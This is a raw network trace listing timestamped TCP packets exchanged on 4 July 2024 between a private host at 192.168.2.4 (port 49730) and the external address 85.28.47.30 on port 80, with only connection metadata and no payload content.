Jul 4, 2024 20:34:06.996531963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996540070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.996540070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.996546030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996561050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996568918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.996587992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.996603966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.997309923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.997364998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.997383118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.997396946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.997411013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.997425079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.997426987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.997440100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.997446060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.997468948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.997484922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.006553888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.006608963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.006627083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.006628036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.006644011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.006659031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.006659985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.006673098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.006674051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.006696939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.006714106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.016032934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.016117096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.016197920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.016211033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.016242027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.016257048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.016379118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.016395092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.016410112 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.016423941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.016441107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017000914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017016888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017030954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017045021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017056942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017060041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017074108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017088890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017090082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017101049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017113924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017115116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017128944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017138004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017149925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017163992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017182112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017193079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017755985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017771006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017785072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017798901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017807961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017812967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.017826080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.017859936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.018632889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.018646955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.018661022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.018687963 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.018702984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.019186974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.019243956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.019424915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.019438982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.019479036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.020221949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.020236969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.020251036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.020263910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.020273924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.020277977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.020292997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.020307064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.020334005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021378994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021393061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021408081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021420956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021435022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021435976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021446943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021446943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021481991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021486998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021502018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021503925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021516085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021528959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021529913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021543026 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021545887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021559954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021567106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021575928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021589994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021590948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021601915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021615982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021620989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021632910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021648884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021651030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021661043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021662951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021684885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021693945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021698952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021713018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021718979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021727085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021740913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.021749020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.021776915 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.022440910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022454977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022469044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022480965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022495031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022499084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.022509098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022510052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.022524118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022550106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.022577047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.022696972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022710085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022723913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022738934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.022746086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.022763014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.022783041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.023056030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023072004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023091078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023099899 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.023113012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.023129940 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.023209095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023222923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023251057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.023272038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.023299932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023314953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023328066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023343086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023350954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.023364067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.023375988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.023406982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.024292946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.024346113 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.024652004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.024667025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.024681091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.024694920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.024698973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.024723053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.024775028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.094594002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.094614029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.094629049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.094644070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.094659090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.094664097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.094686985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.094705105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.094721079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.094722986 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.094755888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.094769001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095093966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095132113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095155001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095170021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095254898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095273018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095287085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095293999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095302105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095309019 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095316887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095324039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095333099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095346928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095346928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095359087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095367908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095381021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095383883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095397949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095402002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095412970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095419884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095427990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095442057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095442057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095455885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095469952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095470905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095487118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095499992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095500946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095514059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095515013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095535994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095544100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095550060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095562935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095568895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095577955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095592022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095592976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095607996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095619917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.095624924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095634937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.095664978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.100147963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.100172043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.100199938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.100214958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.100311995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.100327015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.100343943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.100356102 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.100369930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.100389957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.140990019 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.148967981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338355064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338381052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338395119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338408947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338423967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338438034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338453054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338489056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338538885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338579893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338598967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338615894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338624001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338632107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338648081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338654995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338661909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338671923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338676929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338690996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338705063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338711977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338723898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338747978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338756084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338771105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338785887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338799000 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338809013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338823080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338823080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338838100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338851929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338852882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338866949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338881016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338884115 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338895082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338911057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338916063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338926077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338927031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338941097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338954926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338956118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338967085 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338970900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338985920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.338989019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.338999033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339019060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339031935 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339076042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339092016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339106083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339114904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339121103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339132071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339135885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339144945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339152098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339160919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339168072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339183092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339183092 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339190960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339195967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339215040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339221954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339221954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339237928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339241028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339252949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339255095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339267969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339274883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339293003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339293003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339308023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339314938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339323997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339338064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339338064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339348078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339351892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339365959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339374065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339380980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339396000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339397907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339415073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339421034 CEST	49730	80	192.168.2.4	85.28.47.30
